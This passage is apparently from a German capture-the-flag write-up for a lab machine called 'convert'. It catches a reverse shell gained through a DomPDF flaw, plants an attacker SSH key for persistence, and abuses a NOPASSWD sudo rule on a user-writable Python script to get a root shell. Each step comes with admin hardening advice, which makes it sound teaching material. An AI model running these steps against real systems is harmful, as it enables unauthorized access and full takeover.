Empfehlung (Pentester): Stabilisiere die Shell und beginne mit der Enumeration als `eva`.
Empfehlung (Admin): Update DomPDF dringend.

┌──(root㉿cyber)-[~/CVE-2022-28368] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.119] 54786
bash: cannot set terminal process group (515): Inappropriate ioctl for device
bash: no job control in this shell
eva@convert:/var/www/html/dompdf/lib/fonts$ 
                     

Analyse: Es wird angenommen, dass die Shell mit Standardmethoden stabilisiert wurde.

Bewertung: Verbessert die Interaktion.

Empfehlung (Pentester): Beginne Enumeration.
Empfehlung (Admin): Keine Aktion.

Privilege Escalation

Analyse: Als Benutzer `eva` wird das Home-Verzeichnis (`cd ~`, `ls -la`) untersucht und die Datei `user.txt` gelesen.

Bewertung: Die User-Flag `f2be48d6f922bfc0a9bf45b22887c10d` wird gefunden. Außerdem existiert ein Python-Skript `pdfgen.py`.

Empfehlung (Pentester): Notiere die User-Flag. Untersuche die Berechtigungen (`sudo -l`) und das Skript `pdfgen.py`.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

eva@convert:/var/www/html/dompdf/lib/fonts$ cd ~
eva@convert:~$ ls -la
total 32
drwx------ 2 eva  eva  4096 Feb 24 10:09 .
drwxr-xr-x 3 root root 4096 Feb 22 22:17 ..
lrwxrwxrwx 1 root root    9 Feb 23 17:01 .bash_history -> /dev/null
-rw-r--r-- 1 eva  eva   220 Feb 22 22:17 .bash_logout
-rw-r--r-- 1 eva  eva  3526 Feb 22 22:17 .bashrc
-rw-r--r-- 1 eva  eva   807 Feb 22 22:17 .profile
-rw-r--r-- 1 root root    1 Feb 24 10:10 pdf_gen.log
-rw-r--r-- 1 root root 2736 Feb 23 21:36 pdfgen.py
-rw-r----- 1 eva  eva    33 Feb 23 17:16 user.txt
eva@convert:~$ cat user.txt
f2be48d6f922bfc0a9bf45b22887c10d
                     

Analyse: Es wird nach weltweit beschreibbaren Dateien gesucht (`find / -writable -type f`). Anschließend wird die Suche auf Dateien gefiltert, die `root` gehören (`grep root`).

Bewertung: Die Suche nach beschreibbaren Dateien liefert viele Treffer, hauptsächlich im `/proc`- und `/sys`-Dateisystem, die für eine direkte Privilegieneskalation normalerweise nicht nützlich sind. Es werden keine kritischen, von Root beschreibbaren Konfigurationsdateien oder Binaries gefunden.

Empfehlung (Pentester): Diese Methode führt hier nicht zum Ziel. Suche nach SUID-Binaries oder prüfe `sudo`-Rechte.
Empfehlung (Admin): Überprüfe regelmäßig Dateiberechtigungen, um unsichere Konfigurationen zu vermeiden.

eva@convert:~$ find / -writable -type f 2>/dev/null
/var/www/html/index.php
/var/www/html/style.css
/home/eva/user.txt
/home/eva/.profile
/home/eva/.bash_logout
/home/eva/.bashrc
/proc/sys/...
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.access
/sys/kernel/security/tomoyo/self_domain
... (viele /proc, /sys Einträge)
                     
eva@convert:~$ find / -writable -type f -ls 2>/dev/null | grep root
   484696      0 -rw-rw-rw-   1 root     root            0 May  8 02:07 /proc/sys/kernel/ns_last_pid
4026532059      0 -rw-rw-rw-   1 root     root            0 May  8 02:07 /proc/pressure/io
4026532061      0 -rw-rw-rw-   1 root     root            0 May  8 02:07 /proc/pressure/cpu
4026532060      0 -rw-rw-rw-   1 root     root            0 May  8 02:07 /proc/pressure/memory
... (viele /proc Einträge) ...
                     

Analyse: Es wird nach SUID-Binaries gesucht (`find / -perm -u=s -type f`).

Bewertung: !!Sudo gefunden!!** Die Suche findet Standard-SUID-Binaries und `/usr/bin/sudo`. Das Vorhandensein von `sudo` ist ein potenzieller Vektor.

Empfehlung (Pentester): Führe `sudo -l` aus, um die Berechtigungen für den Benutzer `eva` zu überprüfen.
Empfehlung (Admin): Stelle sicher, dass `sudo` sicher konfiguriert ist.

eva@convert:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/sudo 
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
                     

Analyse: Der Benutzer `eva` fügt den öffentlichen SSH-Schlüssel des Angreifers zu ihrer `~/.ssh/authorized_keys`-Datei hinzu.

Bewertung: Dies ermöglicht dem Angreifer einen bequemeren, passwortlosen SSH-Zugang als `eva`. Dies ist für die weitere Eskalation nützlich, aber nicht der Eskalationsvektor selbst.

Empfehlung (Pentester): Nutze den Schlüssel für zukünftige Logins. Führe `sudo -l` aus.
Empfehlung (Admin): Überwache Änderungen an `authorized_keys`-Dateien.

eva@convert:~$ mkdir .ssh
eva@convert:~$ cd .ssh
eva@convert:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCd3lwjw0FoS9Aq+6hAoD9phQSnr5Ur3d+6Glz1I5FcdsCCHv3ayA3q2Fm3TxUT8SwWHBxDNQahH1hysdcIlFt5qnC5TGtFa32X+sNrqMizv/rqMVlZ5QLYFdaMHp4NrUZjhIrv5MVTp4yvoodJhE/wAzkBMgTe8NIksjP021tFzQoyQ+Nnh8dLKUP0LMTSm03mnFwh5ryzT59WT7SXfnN2+rVEFKGSxaRQbe+dnfx3ELI4T0NTgJQY6P0PEXkMLxSpKtDlgaJv0Kplk4qwtPDV/td+5XAI+1Hn9/CMQ1updHowU98uirtqRHt2sks2ZA+a2xRzFIbtHF6IlFl3ulxUicSgXqMhGm+hACCrR2GBGyF5Dtmje8cElT+LN3077vGra9RQY77NAz2jKKAfM4pTzG7IrgmCoZbpMgdes9j+2UKF+x3sB87IauzpgRoGry0IgduEeiCTQwE107J1zWE4B39jnQwJEEnThyCSUqRSKSLfCIAt8F9Sbs= root@cyber' > authorized_keys
eva@convert:~/.ssh$ ls
authorized_keys
                     
┌──(root㉿cyber)-[~] └─# ssh eva@convert.hmv
Linux convert 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
...
eva@convert:~$
                     

Analyse: Als `eva` wird `sudo -l` ausgeführt.

Bewertung: !!Privilegieneskalationsvektor gefunden!!** `eva` darf `/usr/bin/python3 /home/eva/pdfgen.py *` als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD:`) ausführen. Da `eva` Schreibrechte auf ihr eigenes Home-Verzeichnis und somit auf `pdfgen.py` hat, kann sie dieses Skript manipulieren und dann über `sudo` mit Root-Rechten ausführen.

Empfehlung (Pentester): 1. Überprüfe den Inhalt von `/home/eva/pdfgen.py`. 2. Ersetze den Inhalt von `pdfgen.py` durch ein Skript, das eine Root-Shell startet (z.B. `import os; os.system("/bin/bash")`). 3. Führe den `sudo`-Befehl aus: `sudo /usr/bin/python3 /home/eva/pdfgen.py beliebiger_parameter` (der Stern `*` erlaubt beliebige Argumente).
Empfehlung (Admin):**DRINGEND:** Ändere die `sudo`-Regel. Erlaube niemals `sudo`-Ausführung von Skripten, auf die der ausführende Benutzer Schreibrechte hat. Wenn ein Skript mit `sudo` ausgeführt werden muss, stelle sicher, dass es Root gehört und nur Root Schreibrechte darauf hat.

eva@convert:~$ sudo -l
Matching Defaults entries for eva on convert:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User eva may run the following commands on convert:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /home/eva/pdfgen.py *
                     

Analyse: Die ursprüngliche `pdfgen.py`-Datei wird gelöscht (`rm`). Anschließend wird eine neue `pdfgen.py`-Datei mit `vi` erstellt und ihr Inhalt mit `cat` angezeigt.

Bewertung: Die neue `pdfgen.py` enthält nur den Befehl `os.system("/bin/bash")`, der eine Bash-Shell startet.

Empfehlung (Pentester): Führe nun den `sudo`-Befehl aus, um die manipulierte Datei als Root zu starten.
Empfehlung (Admin): Die Korrektur der `sudo`-Regel ist entscheidend.

eva@convert:~$ rm pdfgen.py
eva@convert:~$ vi pdfgen.py
eva@convert:~$ cat pdfgen.py
import os

os.system("/bin/bash")
                     

Proof of Concept (Root)

Analyse: Der `sudo`-Befehl wird ausgeführt, um das manipulierte Python-Skript `pdfgen.py` als Root zu starten. Ein Stern `*` wird als Argument übergeben, wie von der `sudo`-Regel erlaubt.

Bewertung: !!Privilegieneskalation erfolgreich!!** Das Skript wird als Root ausgeführt, und der Befehl `os.system("/bin/bash")` startet eine interaktive Bash-Shell mit Root-Rechten. Der Prompt wechselt zu `root@convert:/home/eva#`.

Empfehlung (Pentester): Ziel erreicht. Wechsle ins Root-Verzeichnis und lies die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Korrigiere die unsichere `sudo`-Regel.

eva@convert:~$ sudo -u root /usr/bin/python3 /home/eva/pdfgen.py * 
root@convert:/home/eva# 
                     

Analyse: Als Root wird ins Root-Home-Verzeichnis gewechselt und die Datei `root.txt` gelesen.

Bewertung: Die Root-Flag `1cc872dad04d177e6732abbedf1e525b` wird erfolgreich ausgelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

root@convert:/home/eva# cd ~
root@convert:~# ls
root.txt
root@convert:~# cat root.txt
1cc872dad04d177e6732abbedf1e525b
                     

Flags

cat /root/root.txt
1cc872dad04d177e6732abbedf1e525b
cat /home/eva/user.txt
f2be48d6f922bfc0a9bf45b22887c10d